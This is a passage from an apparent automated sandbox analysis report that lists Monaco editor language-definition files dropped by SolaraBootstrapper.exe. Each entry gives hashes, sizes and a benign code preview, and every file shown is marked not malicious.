Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/apex/apex", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var d=(e,t)=>{for(var s in t)i(e,s,{get:t[s],enumerable:!0})},g=(e,t,s,a)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let o of c(t))!l.call(e,o)&&o!==s&&i(e,o,{get:()=>t[o],enumerable:!(a=r(t,o))\|\|a.enumerable});return e};var p=e=>g(i({},"__esModule",{value:!0}),e);var h={};d(h,{conf:()=>m,language:()=>b});var m={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\#\%

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\azcli\azcli.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1170)
Category:	dropped
Size (bytes):	1673
Entropy (8bit):	5.302245568375456
Encrypted:	false
SSDEEP:	24:pQyiDHn43tgb2RsIbEgh++/gPO1uGD5YC0aPs0vKPs0vHPs0NIhrKW:pQFDHn43tZRsD+/EO4GB11W1H1NIh1
MD5:	3F7EB57DA423D9D030D1652B8DE22E8F
SHA1:	08E12D584A4C709192C8170647A3C5DC84166371
SHA-256:	0BCDFD620DADCA6EF6B9CD908228790E82B06FBBD6607513789CEA42BBF1C67F
SHA-512:	FB42510901901666D99EE3CC185E8576985049F3B7D0DE857AF3A8F99690370B8B26F1E06EC812B39F330AC7704E110EEBA9B4FD0431A1D91D58D9EC87462ACD
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/azcli/azcli", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},k=(t,e,o,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of r(e))!l.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(a=i(e,n))\|\|a.enumerable});return t};var p=t=>k(s({},"__esModule",{value:!0}),t);var d={};c(d,{conf:()=>f,language:()=>g});var f={comments:{lineComment:"#"}},g={defaultT

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\bat\bat.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2167)
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.475752673187107
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRsS9+/ECO0HQ0Cw0V1+T01+BukGB3j4ly0/eX1HroHrb4rHK9mIP1p:pQFDHnYRsE+/ECOACvV1+I1+kB3j4lym
MD5:	3D5DEB3A173B138998890CCDDBAA876E
SHA1:	2A9E3EE457FD313D95B981E547D5008742F23F81
SHA-256:	64C1D55E14052EB1E56F09DE7380274A6CDE5F6579DE317D6CA7E3D27CC11A18
SHA-512:	BBE95876520DCBE9B73BEFF22AE911CABA167F6755734C28F54AEF83413BB02D1BEDFD933B9A61AE92FE645B5375AFD44AAF825DC416413C7B7142C06AE1903D
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/bat/bat", ["require","require"],(require)=>{.var moduleExports=(()=>{var n=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var i=Object.prototype.hasOwnProperty;var g=(o,e)=>{for(var t in e)n(o,t,{get:e[t],enumerable:!0})},c=(o,e,t,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let s of l(e))!i.call(o,s)&&s!==t&&n(o,s,{get:()=>e[s],enumerable:!(a=r(e,s))\|\|a.enumerable});return o};var p=o=>c(n({},"__esModule",{value:!0}),o);var k={};g(k,{conf:()=>d,language:()=>m});var d={comments:{lineComment:"REM"},brackets:[["{"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\bicep\bicep.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1734)
Category:	dropped
Size (bytes):	3361
Entropy (8bit):	5.304593500233218
Encrypted:	false
SSDEEP:	96:pQFDHnYRsg/17Xl0E6r/V1+mQEV1+gqJyq1ee9Vsv0Z91a5adS:G9Y30E6r3TJQdVsv0Zra5adS
MD5:	4664FB176151E58A2D4796B6327FCAE6
SHA1:	61049BF36E9D26D94A439772F6B121847B483774
SHA-256:	138890BB900C772B9CD85A6A880A4C3834D4CF69FE60A7DB4F0ED5AC6A6036CA
SHA-512:	253F9EC3F72D5D7B77DA147361ADBB1A7F3F1F3EFF55454D837CEFC0F49B4292B5C7CE466BB469A6BA48EF9EA8F59228B03588EFC2028299D7228789B8B88456
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/bicep/bicep", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var g=(e,n)=>{for(var o in n)r(e,o,{get:n[o],enumerable:!0})},l=(e,n,o,i)=>{if(n&&typeof n=="object"\|\|typeof n=="function")for(let t of c(n))!a.call(e,t)&&t!==o&&r(e,t,{get:()=>n[t],enumerable:!(i=s(n,t))\|\|i.enumerable});return e};var m=e=>l(r({},"__esModule",{value:!0}),e);var y={};g(y,{conf:()=>$,language:()=>w});var p=e=>`\\b${e}\\b`,k="[_a-zA-Z]",x="[_a-zA-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\cameligo\cameligo.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2507)
Category:	dropped
Size (bytes):	3016
Entropy (8bit):	5.258687166883505
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRsdC+/EOHgUr5Xz0V1+hmQ/Y0V1+hmQ/Ogkq1c0VqYAy7TJq1xFiW9:pQFDHnYRs8+/EVUrmV1+hmQ/XV1+hmQa
MD5:	64C2F717418FCEE34DDC32E4AE0AEEB5
SHA1:	F2F8D5D092EDBE8DF25DA12142E25DAC50CF6744
SHA-256:	9C69C0623EAA0C03D7268F7B640E7B1E4A7613168FB7453E1DF44D918D20D37C
SHA-512:	A0BAB29F1D07C04E9980F11AA4080D6029FFA975449254B91A0F7B59272CFCA72DB05A261614C1BD4356E798E9DFD6A6A912ADD5D862AEB6769C646A7A5971CD
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/cameligo/cameligo", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var n in e)s(o,n,{get:e[n],enumerable:!0})},m=(o,e,n,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of a(e))!l.call(o,t)&&t!==n&&s(o,t,{get:()=>e[t],enumerable:!(r=i(e,t))\|\|r.enumerable});return o};var p=o=>m(s({},"__esModule",{value:!0}),o);var u={};c(u,{conf:()=>d,language:()=>g});var d={comments:{lineComment:"//",blockC

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\clojure\clojure.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (9965)
Category:	dropped
Size (bytes):	10472
Entropy (8bit):	4.885229389881109
Encrypted:	false
SSDEEP:	192:G9YW897PKZLQ3xN//F3kxVrpHJJJbs+b9N1FhbZDbBPjwnIHUB1:Gd85PKZLQvZkxVdp3XbLhZtwnI0
MD5:	A477AC7FA29FA1D433C807B0D51AA453
SHA1:	CACC81F6218791005258647F27D4248E39529007
SHA-256:	F518EDBD296F40149368695CFD50BAD56C40D3E98648D4BCB24FB887DF0763B6
SHA-512:	9CC4E9653F73B55B143E8AB4D9C3FCED9817FDAF4D6CAD45D488D409F4853567BCA3F5BB1387072CA388171B8861300FFA25B239A8594D4F024D8E31EC654C2F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/clojure/clojure", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var d=(t,e)=>{for(var r in e)a(t,r,{get:e[r],enumerable:!0})},l=(t,e,r,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of i(e))!c.call(t,n)&&n!==r&&a(t,n,{get:()=>e[n],enumerable:!(s=o(e,n))\|\|s.enumerable});return t};var p=t=>l(a({},"__esModule",{value:!0}),t);var h={};d(h,{conf:()=>u,language:()=>m});var u={comments:{lineComment:";;"},bracket

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\coffee\coffee.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3912)
Category:	dropped
Size (bytes):	4417
Entropy (8bit):	5.3163232411791554
Encrypted:	false
SSDEEP:	96:pQFDHnYRsX+/EZQI0xqmV1+/0V1+/Zq1S8YLYGbSiv5vjmtMzkJgd+fcAr6fPlZ:G9YIgqix7iiihjmtykJbcAr6fX
MD5:	C7530C18128C1C16EE01A2C9AA5AD5CD
SHA1:	39036D2CAF933BB3208C02FDFD918FCEF5366640
SHA-256:	B71FA40D1DFCF8A0A4A1D9741BDCB480ED427F6449D504039CF0D6DA230CD5B9
SHA-512:	80D6AB3A7ABFA49677CB01874FE621161D6428D117E597DB5A6E5A4D7A3346E5FEDADD0E38F77B1D74A11C3A42524946BC2AC3B57C92956D7D7A71A4ECE4AF60
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/coffee/coffee", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var l=(n,e)=>{for(var t in e)s(n,t,{get:e[t],enumerable:!0})},p=(n,e,t,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let r of g(e))!a.call(n,r)&&r!==t&&s(n,r,{get:()=>e[r],enumerable:!(o=i(e,r))\|\|o.enumerable});return n};var c=n=>p(s({},"__esModule",{value:!0}),n);var m={};l(m,{conf:()=>d,language:()=>x});var d={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\cpp\cpp.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5800)
Category:	dropped
Size (bytes):	6299
Entropy (8bit):	5.239106668769126
Encrypted:	false
SSDEEP:	96:pQFDHnYRsNm+/ETPHSrbV1+gqVV1+/GVb9ZRC2seM6jjz1NMwVcEghhbac7bwwGp:G9YEufSrTOjVv5M6bh8hlHwiYg19c
MD5:	5CB18F40121375F10F0A877FE2655952
SHA1:	370CF78EAFCC875D9D8E34FC8B699CEA67CC2AEA
SHA-256:	F6F92ABE974F9338086148C8B0A60FB565AE6EDD9246B676FA9D0035F4E8D9EB
SHA-512:	71BBAD229EEC49FFA610032A0BE07A8B72DF9EF819CA70FD25C1D8CF7053CED441F9125F26878D0562023417CFDC4C98BB3A31D02A6157CE4EB14276B640FD4C
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/cpp/cpp", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var _=Object.prototype.hasOwnProperty;var c=(n,e)=>{for(var i in e)r(n,i,{get:e[i],enumerable:!0})},l=(n,e,i,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of s(e))!_.call(n,t)&&t!==i&&r(n,t,{get:()=>e[t],enumerable:!(o=a(e,t))\|\|o.enumerable});return n};var d=n=>l(r({},"__esModule",{value:!0}),n);var g={};c(g,{conf:()=>p,language:()=>m});var p={comments:{lineComment:"//",blockComment:["/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\csharp\csharp.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4846)
Category:	dropped
Size (bytes):	5351
Entropy (8bit):	5.216370494496688
Encrypted:	false
SSDEEP:	96:pQFDHnYRs8+/E8sx+rbV1+gqGV1+hmQjq1cBh8bnj8/pLxb6J994wGcKU7dYIkeC:G9Yv+rTtP1upw9SiKUJGv
MD5:	7C9B741F42178B079747027A06462053
SHA1:	B3E1D9DE364DD2AECD5DABA0946A4AAFF1A7312E
SHA-256:	28A25E9B68E5F0C3AF4BD163E1AAC554BAB89078770DFCABA0A63A4B5B8A2543
SHA-512:	E0CA6E84440B806D853A8B38EA4154E8F9846F75E8A1D5E472F351C7358A3B3A19FECFE8133114C864C8B439DF1760C04840D6542A8E7FB2FDA019458220A608
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/csharp/csharp", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},p=(t,e,o,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!c.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(i=r(e,n))\|\|i.enumerable});return t};var g=t=>p(s({},"__esModule",{value:!0}),t);var u={};l(u,{conf:()=>d,language:()=>m});var d={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\csp\csp.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1741)
Category:	dropped
Size (bytes):	2240
Entropy (8bit):	5.22208525490407
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRs1hV//EXHNTs/6meb64u43IbLRhFLYDbA:pQFDHnYRs1hV//EXNOeb64f6EbA
MD5:	9968CD8D1FF81B94983401B7C5BC68CF
SHA1:	CC830B8D497ABBC54123BF31D3BA77AC6ABC97F8
SHA-256:	082EB55C25CC428C596B69D8024EB8AD5932FD556D47FDB4696124086AF3CB28
SHA-512:	B4D5E7A77F58D724A619430D6BD4B04384B89F6A4B98B13215D2E89C06BBF4B20264E9271D1DF330C25C7070F886FD2A3874DE1E57B82BC7CAF860D6F88A426C
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/csp/csp", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var g=Object.prototype.hasOwnProperty;var a=(r,t)=>{for(var s in t)o(r,s,{get:t[s],enumerable:!0})},c=(r,t,s,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let e of u(t))!g.call(r,e)&&e!==s&&o(r,e,{get:()=>t[e],enumerable:!(n=i(t,e))\|\|n.enumerable});return r};var q=r=>c(o({},"__esModule",{value:!0}),r);var p={};a(p,{conf:()=>f,language:()=>l});var f={brackets:[],autoClosingPairs:[],surrounding

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\css\css.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2086)
Category:	dropped
Size (bytes):	5331
Entropy (8bit):	5.251960077024982
Encrypted:	false
SSDEEP:	96:pQFDHnYRsG+/EPumYzIq+q17qcq6V1+/TMj1cqTroIrqjAfF3l5XY0JK:G9YLDYzv9CmjoMfF33XbJK
MD5:	E0809107E35A0192F33AD03C3AB08ABE
SHA1:	3C058A89DF1C0A6B208D48796EDD207239FD3013
SHA-256:	ED689DC48B3A5C75D3F4088B87501B28C69EA53D94BD4D195439B9D0B0125240
SHA-512:	A7D534EE62EE3381547E22EAF23B8BD9F9A12B230EEB9D6391AFBEA69DAEDF73BF0A3E2AC4FBBE3E386698DB3B73674473D691F0B2CE566DD8AB012FCB5C3EEE
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/css/css", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var m=(t,e)=>{for(var o in e)r(t,o,{get:e[o],enumerable:!0})},c=(t,e,o,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of s(e))!l.call(t,n)&&n!==o&&r(t,n,{get:()=>e[n],enumerable:!(i=a(e,n))\|\|i.enumerable});return t};var d=t=>c(r({},"__esModule",{value:!0}),t);var k={};m(k,{conf:()=>u,language:()=>p});var u={wordPattern:/(#?-?\d\.\d\w%?)\|((::\|[@#.!:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\cypher\cypher.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3707)
Category:	dropped
Size (bytes):	4212
Entropy (8bit):	5.371981411047698
Encrypted:	false
SSDEEP:	96:pQFDHnYRsaL+/EQmrbV1+/mQcV1+/mQpj1jCpRrBafRVxpVC7Qsl:G9YHdrT1x1kjCLrUZL2P
MD5:	F632F554049CE3CA0D264A0ABB02906C
SHA1:	A0A2664DD3EA31DA925AA0EA68D672E648097ADB
SHA-256:	9F9251788F10C3F0BB4EB811CE6A7F5AD8DB7BBEE057B76A77C77C2421FDAAE1
SHA-512:	12F0A0327833F356AB434301DCF3D1F38628C77B10B82E1BF1DD6F0E77097BD50F396AD6D66390E24C696C8CF4EE2B1F5A48D2DD2FBC85AED0DB5967B0A64D45
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/cypher/cypher", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(i,e)=>{for(var n in e)s(i,n,{get:e[n],enumerable:!0})},g=(i,e,n,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of a(e))!l.call(i,t)&&t!==n&&s(i,t,{get:()=>e[t],enumerable:!(o=r(e,t))\|\|o.enumerable});return i};var p=i=>g(s({},"__esModule",{value:!0}),i);var u={};c(u,{conf:()=>d,language:()=>m});var d={comments:{lineComment:"//",blockComme

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\dart\dart.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4572)
Category:	dropped
Size (bytes):	5073
Entropy (8bit):	5.322308379025634
Encrypted:	false
SSDEEP:	96:pQFDHnYRsW+/EFrbV1+gqKIqHV1+hmQ1+/GuKkxLiXb6IosPt2wpc3luSW720/:G9YBrTTP4mBc2dsSW7L
MD5:	24E97F371A7EDD0923399C3301F7D123
SHA1:	139B20C81784B4453FDFA5BF8E364C51155865B3
SHA-256:	DA7EF3DEE2FA6414326FF00BFC0417D107D51BAEDFE57389E59058072A00020C
SHA-512:	15A737D3A531253B7CAB0B9A71D5BF2D35017A63135F854237B5F1DF45D50E5C0F3F944ABD5BCEF8BCFFFEC3C4F4BF9736ECBBCB42DCD55B375EF4DBA02996F4
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/dart/dart", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var p=(n,e)=>{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},g=(n,e,t,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of c(e))!a.call(n,o)&&o!==t&&r(n,o,{get:()=>e[o],enumerable:!(s=i(e,o))\|\|s.enumerable});return n};var l=n=>g(r({},"__esModule",{value:!0}),n);var x={};p(x,{conf:()=>d,language:()=>m});var d={comments:{lineComment:"//",blockComment:[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\dockerfile\dockerfile.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2191)
Category:	dropped
Size (bytes):	2704
Entropy (8bit):	5.455268695879549
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRsnq+/ETQXHFUb0Ar0V1+/n0V1+/pfo71m4SKoemBjrBrOuWI5w3I+:pQFDHnYRsq+/Ecr7V1+/0V1+/pfoOhR2
MD5:	A51BAE8524A9B4623E57F5B1A69DD9E1
SHA1:	686C6F915FFB7EA23DF8E3D6846288A615C144A2
SHA-256:	5BFE103714FF8153914DAA7C1CC066D59DAB07CA7388D15098D650149EE3BE74
SHA-512:	D5070B4206DEE6241F3C427CAF1938781A6AA664A82F546574F3536FF97DB9682D0DE18A8BF46CB5A9A911B38487D16DD8C4F2AABEFAA0BEF34F5FD33B0DBEC2
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/dockerfile/dockerfile", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var i=Object.prototype.hasOwnProperty;var p=(o,e)=>{for(var s in e)a(o,s,{get:e[s],enumerable:!0})},g=(o,e,s,t)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of r(e))!i.call(o,n)&&n!==s&&a(o,n,{get:()=>e[n],enumerable:!(t=l(e,n))\|\|t.enumerable});return o};var c=o=>g(a({},"__esModule",{value:!0}),o);var k={};p(k,{conf:()=>u,language:()=>d});var u={brackets:[["{","}"],["[","]"]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\ecl\ecl.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5664)
Category:	dropped
Size (bytes):	6163
Entropy (8bit):	4.934188303263368
Encrypted:	false
SSDEEP:	192:G9Y/rTtPcbYHAcX4vLXC2/U9w+JXuHN+i56:GOrTtPcbYHvXyLcWcXuHN+i56
MD5:	2CD641F99D4723ADCA2299186E67455B
SHA1:	5ED74D0D63E4AAE25387D0111B7A33C2906D8C92
SHA-256:	9CE97CCF4768AF38976D051504B59DC37B65F56D8BCB638B97D6A82CDA4E1B79
SHA-512:	0306CCDFCCE65A703F5115B13CE0ACC56E7855579BC6CA218D0C87891E97882E21186C38B3429A077F5355FE9711E302FC3D9517C63DACE2271440B1242DFF2C
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/ecl/ecl", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var t in e)r(o,t,{get:e[t],enumerable:!0})},d=(o,e,t,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of s(e))!l.call(o,n)&&n!==t&&r(o,n,{get:()=>e[n],enumerable:!(a=i(e,n))\|\|a.enumerable});return o};var p=o=>d(r({},"__esModule",{value:!0}),o);var g={};c(g,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"//",blockComment:["/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\elixir\elixir.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (10579)
Category:	dropped
Size (bytes):	11084
Entropy (8bit):	5.324445265410224
Encrypted:	false
SSDEEP:	192:G9YZ+uT4pKAnTNGZ70U+6ODfDG6g4KlDItrkekkqamfP7OF/ExZKxOMy56L4dT/q:Gm+uT4n2+PPV9+DItruao2f
MD5:	E0AB738DD28FB6FA3C3DFD4879A8B930
SHA1:	4062CE2854028385D0E4507AC0AB77CB0FFAA329
SHA-256:	0494EA6B17F3F6E2E088DBC9001AAF77D742D757867263D8B0E5FB432B31A2A5
SHA-512:	0C2BD491B70AFB05261FC1CDB05BFC588D82A05B9695F9C00CDE6EC885858133DE11F95251C8B36D5107B9B68AB94F35415A0D8D8B2D0BDCEC312D100CA9FF45
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/elixir/elixir", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var d=(t,e)=>{for(var i in e)o(t,i,{get:e[i],enumerable:!0})},c=(t,e,i,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of s(e))!a.call(t,n)&&n!==i&&o(t,n,{get:()=>e[n],enumerable:!(r=l(e,n))\|\|r.enumerable});return t};var m=t=>c(o({},"__esModule",{value:!0}),t);var p={};d(p,{conf:()=>u,language:()=>g});var u={comments:{lineComment:"#"},brackets:[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\flow9\flow9.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2132)
Category:	dropped
Size (bytes):	2635
Entropy (8bit):	5.352095130632229
Encrypted:	false
